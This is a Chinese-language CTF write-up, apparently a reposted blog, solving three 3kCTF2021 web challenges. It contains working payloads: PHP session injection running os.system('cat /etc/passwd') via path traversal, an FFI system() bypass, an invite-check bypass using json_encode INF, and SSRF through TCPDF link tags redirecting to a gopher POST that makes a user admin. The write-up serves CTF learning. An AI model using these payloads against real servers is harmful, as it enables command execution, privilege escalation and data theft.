前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >3kCTF2021

3kCTF2021

作者头像
HhhM
发布2022-08-10 16:03:08
1.2K0
发布2022-08-10 16:03:08
举报
文章被收录于专栏:H&M的专栏H&M的专栏

3kCTF2021

2021-05-21 10:05:00
wp - 3kctf

AD

一段时间没打国际赛,最近陆队正在组建一支打国际赛的战队,我也混进去划了一下水,上周末我们也打了第一场国际赛试试水(虽然我在打国赛没怎么看题目),不过初次试水师傅们都很给力,个人认为成绩还算可以(No.9):

可以看到截图中出现的两支国内战队虽然也挺猛的,不过这俩支都是高校队伍,不允许外校加入,因此在这里我也给战队打个广告,路过的师傅可以看看:https://blog.zeddyu.info/advertisement/

感兴趣的师傅可以联系陆队:zeddyu.lu@gmail.com

或者想了解具体的也可以先找我问问情况:756379684@qq.com

Ps.上述排行榜不是3kctf,是omh ctf,wp我写的比较烂就不分享了,具体可以到陆队的知识星球里面看(白嫖党给陆队再打个广告)。

online_compiler

Compile & run your code with the 3k online compiler. Our online compiler supports multiple programming languages like Php, Python,... Link Attachment

一个py写的在线php编译器功能如下:

给了源码先稍作审计:

代码语言:javascript
复制
@app.route('/save',methods = ['POST'])
@cross_origin()
def save():
    c_type=request.form['c_type']
    print('ctype-(>'+c_type)
    if (c_type == 'php'):
        code=request.form['code']
        if (len(code)<100):
            filename=get_random_string(6)+'.php'
            path='/home/app/test/'+filename
            f=open(path,'w')
            f.write(code)
            f.close()
            return filename

        else:
            return 'failed'
    """elif (c_type == 'python'):
        code=request.args.get('code')
        if (len(code)<30):
            filename=get_random_string(6)+'.py'
            path='/home/app/testpy/'+filename
            f=open(path,'w')
            f.write(code)
            f.close()
            return filename
        else:
            return 'failed'"""

@app.route('/compile',methods = ['POST'])
@cross_origin()
def compile():
    c_type=request.form['c_type']
    filename=request.form['filename']
    if (c_type == 'php'):
        if (filename[-3:]=='php'):
            if (check_file('/home/app/test/'+filename)):
                path='/home/app/test/'+filename
                cmd='php -c php.ini '+path
                p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
                stdout, stderr = p.communicate()
                return stdout
            else:
                return 'failed'
        else:
            return 'noop'
    elif (c_type == 'python'):
        if (filename[-2:]=='py'):
            if (check_file('/home/app/test/'+filename)):
                cmd='python3 '+filename
                p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
                stdout, stderr = p.communicate()
                return stdout
            else:
                return 'failed'
        else:
            return 'noop'

当点击compile按钮时发生的事情如下:

save路由接受c_type以及code两个参数,当c_type为php时将code保存到对应的php文件中,而compile路由同样接受c_type参数,额外的还有一个filename参数,其通过调用Popen来执行对应的解释器去执行对应filename中的代码,而其允许执行php或者python代码,同时filename可以指定为服务器上的任意一个文件。

同时有个点就是它判断文件后缀是采用的数组切片的方式,如:filename[-2:],也就是说不需要真实地存在有py后缀,因此可以选择如hhhmpy这种文件,同时python解释器也能够执行这种文件。

在调用php解释器时指定了一个php.ini的配置文件,而python调用py文件显示没有任何函数的禁用,并且在给出的附件中同样给出了该文件,稍加思考会明白它是给出了disable_function,那么是否是从dis_func中找出函数来bypass,稍加diff发现session可能可以被利用:

同时在ini文件中找到了session存储路径为session.save_path = "/tmp"

本地试一下:

代码语言:javascript
复制
<?php
session_id("hhhmpy");
session_start();
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count']++;
}
?>

sess_hhhmpy:

代码语言:javascript
复制
|s:1:"1";count|i:2;

尝试写python:

代码语言:javascript
复制
<?php
session_id("hhhmpy");
session_start();
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count'] = "
import os
os.system('cat /etc/passwd')
  ";
}
?>

sess_hhhmpy:

代码语言:javascript
复制
count|s:42:"
import os
os.system('cat /etc/passwd')
  ";

很显然这种文件无法执行,需要把第一行及最后面的代码注释一下:

代码语言:javascript
复制
<?php
session_id("hhhmpy");session_start();$_SESSION["#"]="
import os
os.system('cat /etc/passwd')#";?>

得到:

代码语言:javascript
复制
#|s:40:"
import os
os.system('cat /etc/passwd')#";

Post:

代码语言:javascript
复制
http://onlinecompiler.2021.3k.ctf.to:5000/compile
c_type=python&filename=../../../../../../../tmp/sess_hhhmpy

当然了在查看其他人的wp时发现还有如使用FFi来bypass:

代码语言:javascript
复制
<?php $ffi=FFI::cdef("int system(const char *command);");$ffi->system(\'{}\');?>

Emoji

browse some emojis Challenge Attachment

给出附件:

代码语言:javascript
复制
<?php
        $secret = "*REDACTED*";
        $flag   = "3k{*REDACTED*}";

        function fetch_and_parse($page){
                $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
                preg_match_all("/<img src=\"(.*?)\">/", $a,$ma);
                return $ma;
        }

        $url = @$_GET['url'];
        $key = @$_GET['key'];
        $dir = @$_GET['dir'];
        if($dir){
                $emojiList = fetch_and_parse($dir);
        }elseif ($url AND $key) {
                if($key === hash_hmac('sha256', $url, $secret)){
                        $d = "bash -c \"curl -o /dev/null ".escapeshellarg("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$url)."  \"";
                        exec($d);
                        echo '<script>alert("file download requested");</script>';      
                }else{
                        echo '<script>alert("incorrect download key");</script>';
                }

        }


?>
<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">

    <title>Emoji</title>
  </head>
  <body>
    <h1>Emoji</h1>

    <div class="card-deck">
      <div class="card">

        <div class="card-body">
          <h5 class="card-title"><a href="?dir=eggs">Eggs</a> <a href="?dir=parrot">Parrots</a> <a href="?dir=pepe">Pepe</a></h5>

          <p class="card-text">
            <?php
                if(@$emojiList){
                    foreach ($emojiList[1] as $k => $v) {
                        echo '<a href="?url='.$v.'&key='.hash_hmac('sha256', $v, $secret).'"><img width=100 src="https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/'.$v.'" ></a>';
                    }
                }
            ?>
          </p>

        </div>
      </div>
    </div>

  </body>
</html>

可以看到这一个fetch:

代码语言:javascript
复制
function fetch_and_parse($page){
                $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
                preg_match_all("/<img src=\"(.*?)\">/", $a,$ma);
                return $ma;
        }

实际上存在着目录遍历,因此可以在git上创建一个仓库,放置一个存在img标签的html页面,然后使用目录遍历:

代码语言:javascript
复制
?dir=../../../../../../../a756379684/3kctfemoji/main/emoji

此时可以得到对应的key:

可以在webhook上收到请求:

ppaste

描述

We've launched our first bugbounty program, Our triage team is eager to hear about your findings ! Bounty Program Check assets in scope and whether you can leak a flag Note: - You need account at intigriti.com to view the scope - Submit flag here to get CTF points - Submit a report at intigriti gets you reputation points at intigriti Hints

  1. json inconsistencies

在intigriti上注册后能够得到一个scope:

ppaste is an internal tool we use to share pastes, and where we also store a flag, we're most interested if that could be leaked. URL : https://ppaste.2021.3k.ctf.to/ SOURCE : https://github.com/rekter0/ctf/tree/main/2021-3kCTF/web/ppaste/ppaste

给出了源码先审计,首先整体架构分为两个app:

  • python,从ppaste.db中取数据,是一个接口,但其挂载在127.0.0.1的8082端口中
  • php,同样是一个接口程序,但其挂载在80端口中并且映射出外网的端口中

那么入口点毫无疑问是这个php接口程序,首先需要注册账号,但账号的注册需要一个邀请码。

代码审计

首先看到注册处:

代码语言:javascript
复制
    case 'register':
        if(@$data['d']['user'] AND @$data['d']['pass']){
            if(!@$data['d']['invite']) puts(0);
            $checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
            if($checkInvite===FALSE) puts(0);
            if(uExists($data['d']['user'])) puts(0);
            $db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
            if($db->lastInsertRowID()){
                puts(1);
            }else{
                puts(0);
            }
        }
        puts(0);
        break;

checkinvite会调用到python接口,其调用代码位于common.php中:

代码语言:javascript
复制
function qInternal($endpoint,$payload=null){
    $url = 'http://localhost:8082/'.$endpoint;
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
    if($payload!==null){
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
    return(@$result?$result:'false');
}

用的是curl发包去请求invites路由:

代码语言:javascript
复制
@app.route('/invites', methods=['GET', 'POST'])
def invites():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['invite'] in open('/var/www/invites.txt').read().split('\n')):
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(open('/var/www/invites.txt').read().split('\n'))

json_encode小trick

首先是php接口中的绕过,json_encode在处理INF时会返回一个false,如下:

代码语言:javascript
复制
<?php
$f=3.3e99999999999999;
var_dump($f);
var_dump(json_encode(array("a"=>$f)));
//float(INF)
//bool(false)

那么这会使得其发送一个空的post请求给内网的api,此时因为接收不到request.data会导致500错误,此时curl得到的结果是NULL,而其判断是使用的:

代码语言:javascript
复制
return(@$result?$result:'false');

此时得到了一个NULL:

代码语言:javascript
复制
<?php
var_dump(json_decode("NULL",true));
//NULL

ssrf

在随意添加文章后, 文章详细页有个下载pdf,在测试html标签放入标题时,发现可以成功解析到,标题处的逻辑中有一行代码:

代码语言:javascript
复制
$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);

会去掉空格,尝试了一下:

代码语言:javascript
复制
<img/src="http://vps">

貌似不行,是不支持img标签?跟一下下载pdf的逻辑,找到download路由:

代码语言:javascript
复制
case 'download':
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            //some useless code....
            }
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php');
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;

因为是跟html解析有关系,所以优先选择跟入writeHTML:

代码语言:javascript
复制
public function writeHTML(...){
  $dom = $this->getHtmlDomArray($html);
}

其中调用了getHtmlDomArray,同样跟入看看:

代码语言:javascript
复制
protected function getHtmlDomArray($html) {
        $matches = array();
        if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
            foreach ($matches[1] as $key => $link) {
                $type = array();
                if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
                    $type = array();
                    preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);
                    // get 'all' and 'print' media, other media types are discarded
                    // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
                    if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
                        $type = array();
                        if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
                            // read CSS data file
                            $cssdata = TCPDF_STATIC::fileGetContents(trim($type[1]));
                            if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
                                $css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
                            }
                        }
                    }
                }
            }
        }
}

TCPdf中解析超链接的一个标签link,它会先匹配页面中所有符合外层正则link的html:

提取出link标签内的内容后再进入下一个正则:

之后就是一个href,因此我们的link标签需要满足如下:

此处的正则是逐层提取出匹配内容,因此会发现无需要空格,而提取出url后会进入到一个filegetcontents函数,这是最引人注意的地方:

跟入:

进入到file_exists:

代码语言:javascript
复制
public static function file_exists($filename) {
  if (preg_match('|^https?://|', $filename) == 1) {
    return self::url_exists($filename);
  }
  if (strpos($filename, '://')) {
    return false; // only support http and https wrappers for security reasons
  }
  return @file_exists($filename);
}

此处只允许使用http或https协议,之后就进入到了如下的if:

代码语言:javascript
复制
if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
  curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
}

满足open_basedir==''和没有设置safe_mode即支持重定向,而恰好这两个是php中的默认配置,至此就可以使用gopher协议打内网的flask的,不过目的是getflag,先找一下获取flag的条件。

寻找一下flag,会发现api.php中有如下:

代码语言:javascript
复制
    case 'admin':
        $tU=whoami();
        if(!@$tU OR @$tU['priv']!==1) puts(0);
        $ret["invites"]=json_decode(qInternal("invites"),true);
        $ret["users"]  =json_decode(qInternal("users"),true);
        $ret["flag"]   =$flag;
        puts(1,$ret);
        break;

这一个priv在注册账号时默认是赋值为0的,全局搜索一下能够找到flask下的users路由:

代码语言:javascript
复制
@app.route('/users', methods=['GET', 'POST'])
def users():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['user']):
            qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(qDB("SELECT user,priv FROM users"))

这里对priv做了not操作,因此,只需要传入一个存在user键的json串即可,即:

代码语言:javascript
复制
{"user":"hhhm123"}

在vps上放置跳转

代码语言:javascript
复制
location: gopher://localhost:8082/_POST%20/users%20HTTP/1.1%0D%0AHost%3A%20localhost%0D%0AContent-Length%3A%2018%0D%0AContent-type%3A%20application/json%0D%0A%0D%0A%7B%22user%22%3A%22hhhm123%22%7D%0D%0A

link:

代码语言:javascript
复制
<linktype="text/css"href="https://phptest.a756379684.repl.co">

之后就是访问admin的api即可:

总结

首先是一个php的json解析错误的小trick,然后是从php的TCPDF函数包中寻找到可以进行ssrf的tag,该tag在解析超链接时使用了curl,而在采用了php默认配置的情况下其curl允许链接的重定向,将重定向指向一个gopher协议打内网flask应用的payload。

本文原创于HhhM的博客,转载请标明出处。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-05-21 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 3kCTF2021
    • AD
      • online_compiler
        • Emoji
          • ppaste
            • 描述
            • 代码审计
            • json_encode小trick
            • ssrf
            • 总结
        相关产品与服务
        命令行工具
        腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档